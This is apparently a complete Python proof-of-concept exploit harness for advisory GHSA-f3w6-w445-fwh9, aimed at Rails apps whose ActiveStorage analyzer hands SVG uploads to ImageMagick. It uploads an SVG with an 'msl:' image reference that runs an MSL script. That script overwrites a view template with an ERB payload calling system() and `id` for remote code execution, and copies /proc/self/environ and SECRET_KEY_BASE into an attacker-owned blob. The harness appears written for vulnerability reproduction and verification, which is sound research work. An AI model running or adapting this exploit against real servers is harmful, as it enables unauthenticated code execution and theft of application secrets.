#!/usr/bin/env python3
"""Unauthenticated remote attack harness for GHSA-f3w6-w445-fwh9.

Everything the attacker does here travels over plain HTTP against the real Rails
application: fetch the upload form, attach uploads, follow the blob redirect, decode the
signed blob token the Disk service puts in the Location header (signed, not encrypted, so
the blob key is readable), and deliver an SVG whose <image> reference carries an explicit
`msl:` coder prefix.  ImageMagick's SVG renderer hands that reference to ReadImage, which
selects the MSL scripting coder; MSL then writes an attacker-chosen file and copies
attacker-chosen files into the attacker's own blob.

Server-side effects are verified with `docker exec` (evidence only, not part of the attack).
"""

import base64
import http.cookiejar
import json
import os
import re
import secrets
import subprocess
import sys
import time
import urllib.error
import urllib.request
from pathlib import Path

BASE = os.environ["BASE"]
OUT = Path(os.environ["OUT"])
APP_ROOT = os.environ.get("APP_ROOT", "/app-vuln")
WRITE_PATH = os.environ.get("WRITE_PATH", "/tmp/pruva_arbitrary_write.txt")
ERB_PATH = os.environ.get("ERB_PATH", f"{APP_ROOT}/app/views/uploads/show.html.erb")
CANARY_PATH = os.environ.get("CANARY_PATH")
CANARY_BYTES = int(os.environ.get("CANARY_BYTES", "0") or 0)
CANARY_EXPECT = os.environ.get("CANARY_EXPECT", "")
CONTAINER = os.environ.get("CONTAINER")
ENVIRON_SIZES = [int(x) for x in os.environ.get("ENVIRON_SIZES", "64,128,256,512,1024,2048,4096,8192").split(",")]

OUT.mkdir(parents=True, exist_ok=True)
logfile = open(OUT / "attack.log", "a", buffering=1)


def log(msg):
    line = f"{time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime())} {msg}"
    print(line, flush=True)
    logfile.write(line + "\n")


def in_container(cmd):
    if not CONTAINER:
        return None
    try:
        return subprocess.run(["docker", "exec", CONTAINER, "sh", "-c", cmd],
                              capture_output=True, timeout=60).stdout.decode("utf-8", "replace")
    except Exception as exc:  # pragma: no cover - diagnostics only
        return f"<docker exec failed: {exc}>"


def header(headers, name):
    """Case-insensitive header lookup (HTTPMessage key casing varies by Python version)."""
    for key, value in headers.items():
        if key.lower() == name.lower():
            return value
    return None


class NoRedirect(urllib.request.HTTPRedirectHandler):
    def redirect_request(self, *args, **kwargs):
        return None


class Client:
    def __init__(self, base):
        self.base = base.rstrip("/")
        self.jar = http.cookiejar.CookieJar()
        self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar), NoRedirect)

    def request(self, method, path, data=None, headers=None):
        url = self.base + path if path.startswith("/") else path
        req = urllib.request.Request(url, data=data, method=method, headers=headers or {})
        try:
            with self.opener.open(req, timeout=60) as res:
                return res.status, dict(res.headers), res.read()
        except urllib.error.HTTPError as exc:
            return exc.code, dict(exc.headers), exc.read()

    def get_follow(self, path, limit=5):
        hops = []
        current = path
        status, headers, body = 0, {}, b""
        for _ in range(limit):
            status, headers, body = self.request("GET", current)
            hops.append({"path": current, "code": status, "location": header(headers, "Location")})
            location = header(headers, "Location")
            if status not in (301, 302, 303, 307, 308) or not location:
                break
            current = location
        return status, headers, body, hops


def multipart(fields):
    boundary = "----pruva" + secrets.token_hex(8)
    chunks = []
    for name, value in fields.items():
        if isinstance(value, dict):
            chunks.append(
                f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"; '
                f'filename="{value["filename"]}"\r\nContent-Type: {value["content_type"]}\r\n\r\n'.encode()
            )
            chunks.append(value["data"] + b"\r\n")
        else:
            chunks.append(f'--{boundary}\r\nContent-Disposition: form-data; name="{name}"\r\n\r\n{value}\r\n'.encode())
    chunks.append(f"--{boundary}--\r\n".encode())
    return b"".join(chunks), {"Content-Type": f"multipart/form-data; boundary={boundary}"}


def decode_signed_payload(token):
    data = token.split("--", 1)[0]
    payload = None
    for decoder in (
        lambda d: base64.b64decode(d + "=" * ((4 - len(d) % 4) % 4)),
        lambda d: base64.urlsafe_b64decode(d + "=" * ((4 - len(d) % 4) % 4)),
    ):
        try:
            payload = json.loads(decoder(data))
            break
        except Exception:
            continue
    if payload is None:
        raise RuntimeError("cannot decode signed payload")
    envelope = payload.get("_rails", payload)
    inner = envelope.get("data", envelope.get("message"))
    if isinstance(inner, str) and inner.lstrip().startswith("{"):
        inner = json.loads(inner)
    return inner


def upload(client, csrf, content, filename, content_type):
    body, headers = multipart({
        "authenticity_token": csrf,
        "upload[file]": {"filename": filename, "content_type": content_type, "data": content},
    })
    status, resp_headers, resp_body = client.request("POST", "/uploads", data=body, headers=headers)
    if status != 302:
        raise RuntimeError(f"attach failed: HTTP {status}: {resp_body[:300]!r}")
    location = header(resp_headers, "Location") or ""
    match = re.search(r"/uploads/(\d+)", location)
    log(f"attached {filename} ({len(content)} bytes, {content_type}) -> {location}")
    return match.group(1) if match else None


def blob_path_for(client, upload_id):
    status, _, body, _ = client.get_follow(f"/uploads/{upload_id}")
    text = body.decode("utf-8", "replace")
    match = re.search(r'src="([^"]*/rails/active_storage/blobs/[^"]+)"', text) or \
        re.search(r'href="([^"]*/rails/active_storage/blobs/[^"]+)"', text)
    if not match:
        raise RuntimeError("no blob reference on the show page")
    return match.group(1)


def blob_key_for(client, blob_path, label):
    _, _, _, hops = client.get_follow(blob_path)
    disk = next((h["location"] for h in hops if h.get("location") and "/rails/active_storage/disk/" in h["location"]), None)
    if not disk:
        raise RuntimeError(f"no disk-service redirect for {label}")
    token = re.search(r"/rails/active_storage/disk/([^?]+)", disk).group(1)
    payload = decode_signed_payload(token)
    key = payload.get("key") if isinstance(payload, dict) else None
    if not key:
        raise RuntimeError(f"no blob key in signed payload for {label}: {payload!r}")
    log(f"recovered {label} blob key from the signed disk token: {key}")
    return key, disk


def disk_path(key):
    return f"{APP_ROOT}/storage/{key[0:2]}/{key[2:4]}/{key}"


def samples_for(byte_count):
    """Raw `gray:` data is read/written at the build's quantum depth (16 bit here), so a
    byte-exact round trip uses one sample per two bytes."""
    if byte_count % 2:
        raise RuntimeError(f"byte count must be even for a byte-exact gray round trip ({byte_count})")
    return byte_count // 2


def msl_script(blocks):
    parts = []
    for block in blocks:
        parts.append(
            "<image>\n"
            f'    <read size="{block["size"]}x1" filename="gray:{block["read"]}"/>\n'
            f'    <write filename="gray:{block["write"]}"/>\n'
            "  </image>\n"
        )
    return '<?xml version="1.0" encoding="UTF-8"?>\n<msl>\n  ' + "  ".join(parts) + "</msl>\n"


def svg_payload(msl_disk_path):
    return (
        '<?xml version="1.0" encoding="UTF-8"?>\n'
        '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="32" height="32">\n'
        '  <rect width="32" height="32" fill="#ffffff"/>\n'
        f'  <image xlink:href="msl:{msl_disk_path}" width="32" height="32"/>\n'
        "</svg>\n"
    )


summary = {}
client = Client(BASE)

# 1. reach the application and pick up the CSRF token the upload form carries
status, _, body, _ = client.get_follow("/uploads/new")
if status != 200:
    raise RuntimeError(f"form page failed: HTTP {status}")
page = body.decode("utf-8", "replace")
csrf = None
for pattern in (r'name="authenticity_token" value="([^"]+)"', r'name="csrf-token" content="([^"]+)"'):
    match = re.search(pattern, page)
    if match:
        csrf = match.group(1)
        break
if not csrf:
    raise RuntimeError("no CSRF token on the form page")
log(f"fetched the upload form and its CSRF token; session cookies: {[c.name for c in client.jar]}")
(OUT / "01_form_page.html").write_text(page)

# 2. the attacker's own blob, used as the exfiltration channel
placeholder = bytes([0x89, 0x50, 0x4E, 0x47]) + secrets.token_bytes(64)
exfil_id = upload(client, csrf, placeholder, "channel.png", "image/png")
exfil_blob_path = blob_path_for(client, exfil_id)
exfil_key, _ = blob_key_for(client, exfil_blob_path, "exfil-channel")
exfil_disk_path = disk_path(exfil_key)
log(f"exfiltration channel on disk: {exfil_disk_path}")

# 2b. a second channel, so the planted credential is not overwritten by the environment read
canary_id = upload(client, csrf, bytes([0x89, 0x50, 0x4E, 0x47]) + secrets.token_bytes(64), "channel2.png", "image/png")
canary_blob_path = blob_path_for(client, canary_id)
canary_key, _ = blob_key_for(client, canary_blob_path, "exfil-canary")
canary_disk_path = disk_path(canary_key)

# 3. attacker-chosen content, delivered as a blob so MSL can copy it byte for byte
rce_marker = "PRUVA_RCE_" + secrets.token_hex(6)
erb_payload = (f'<% system("echo {rce_marker} > /tmp/pruva_rce_marker") %><%= `id` %>\n').encode()
if len(erb_payload) % 2:
    erb_payload += b"\n"
write_id = upload(client, csrf, erb_payload, "payload.dat", "application/octet-stream")
write_blob_path = blob_path_for(client, write_id)
write_key, _ = blob_key_for(client, write_blob_path, "write-payload")
write_disk_path = disk_path(write_key)
log(f"write payload ({len(erb_payload)} bytes) on disk: {write_disk_path}")

# 4. the MSL script.  The writes that matter go first: ImageMagick aborts the script when a
#    raw read runs past the end of the file it names, which is exactly what a size probe for
#    /proc/self/environ can do.
payload_blocks = [
    {"read": write_disk_path, "size": samples_for(len(erb_payload)), "write": WRITE_PATH},
    {"read": write_disk_path, "size": samples_for(len(erb_payload)), "write": ERB_PATH},
]
if CANARY_PATH and CANARY_BYTES and CANARY_BYTES % 2 == 0:
    payload_blocks.append({"read": CANARY_PATH, "size": samples_for(CANARY_BYTES), "write": canary_disk_path})


def attach_svg(msl_disk_path, label):
    """Attach an SVG whose <image> reference carries an msl: prefix; the analyzer runs at attach time."""
    svg = svg_payload(msl_disk_path)
    (OUT / f"06_payload_{label}.svg").write_text(svg)
    log(f'delivering SVG {label}: <image xlink:href="msl:{msl_disk_path}"> through the analyzer')
    return upload(client, csrf, svg.encode(), f"vector_{label}.svg", "image/svg+xml")


# 5. every script variant is uploaded first: once MSL rewrites the show template the blob
#    listing page is gone, so all blob keys are collected before the first delivery.
scripts = {}
for size in ENVIRON_SIZES:
    blocks = list(payload_blocks) + [{"read": "/proc/self/environ", "size": size, "write": exfil_disk_path}]
    msl = msl_script(blocks)
    (OUT / f"05_payload_env{size}.msl").write_text(msl)
    msl_id = upload(client, csrf, msl.encode(), f"script_env{size}.msl", "application/octet-stream")
    msl_blob_path = blob_path_for(client, msl_id)
    msl_key, _ = blob_key_for(client, msl_blob_path, f"msl-env{size}")
    scripts[size] = disk_path(msl_key)

svg_id = None
leaked = b""
for size in ENVIRON_SIZES:
    svg_id = attach_svg(scripts[size], f"env{size}")
    _, _, leaked, _ = client.get_follow(exfil_blob_path)
    log(f"environment read with {size} samples ({size * 2} bytes) returned {len(leaked)} bytes")
    if b"SECRET_KEY_BASE=" in leaked:
        break

_, _, svg_page, _ = client.get_follow(f"/uploads/{svg_id}")
(OUT / "07_svg_show_page.html").write_bytes(svg_page)

# 6. verify the server-side effects
written = in_container(f"cat {WRITE_PATH} 2>/dev/null")
summary["arbitrary_write_path"] = WRITE_PATH
summary["arbitrary_write_content"] = written
summary["arbitrary_write_ok"] = written == erb_payload.decode("utf-8", "replace")
(OUT / "10_arbitrary_write.txt").write_text(written or "")
log(f"arbitrary write to {WRITE_PATH}: {'matches attacker content' if summary['arbitrary_write_ok'] else 'NOT confirmed'} ({written!r})")

_, _, leaked, _ = client.get_follow(exfil_blob_path)
_, _, canary_leaked, _ = client.get_follow(canary_blob_path)
(OUT / "11_exfil_blob_download.bin").write_bytes(leaked)
(OUT / "11b_exfil_canary_download.bin").write_bytes(canary_leaked)
(OUT / "12_exfil_environ.txt").write_bytes(leaked.replace(b"\x00", b"\n"))
summary["exfil_bytes"] = len(leaked)
summary["exfil_contains_secret_key_base"] = b"SECRET_KEY_BASE=" in leaked
summary["exfil_contains_canary"] = bool(CANARY_EXPECT) and CANARY_EXPECT.encode() in canary_leaked
summary["canary_bytes"] = len(canary_leaked)
log(f"exfiltrated {len(leaked)} bytes through the attacker's own blob "
    f"(SECRET_KEY_BASE present: {summary['exfil_contains_secret_key_base']}, "
    f"planted credential recovered: {summary['exfil_contains_canary']})")

rce_status, _, rce_body, _ = client.get_follow(f"/uploads/{svg_id}")
(OUT / "13_response_after_template_write.html").write_bytes(rce_body)
text = rce_body.decode("utf-8", "replace")
match = re.search(r"uid=\d+\([^)]*\)[^<\n]*", text)
summary["rce_response_evidence"] = match.group(0) if match else None
summary["rce_marker"] = (in_container("cat /tmp/pruva_rce_marker 2>/dev/null") or "").strip()
(OUT / "14_rce_marker.txt").write_text(summary["rce_marker"] + "\n")
summary["rce_marker_expected"] = rce_marker
summary["rce_ok"] = bool(match) and summary["rce_marker"] == rce_marker
log(f"response after the template write contains command output: {summary['rce_response_evidence']!r}")
log(f"server-side RCE marker file content: {summary['rce_marker']!r} (expected {rce_marker!r})")

(OUT / "summary.json").write_text(json.dumps(summary, indent=2))
log("SUMMARY " + json.dumps(summary))
logfile.close()

sys.exit(0 if (summary["arbitrary_write_ok"] or summary["exfil_contains_secret_key_base"] or summary["rce_ok"]) else 1)
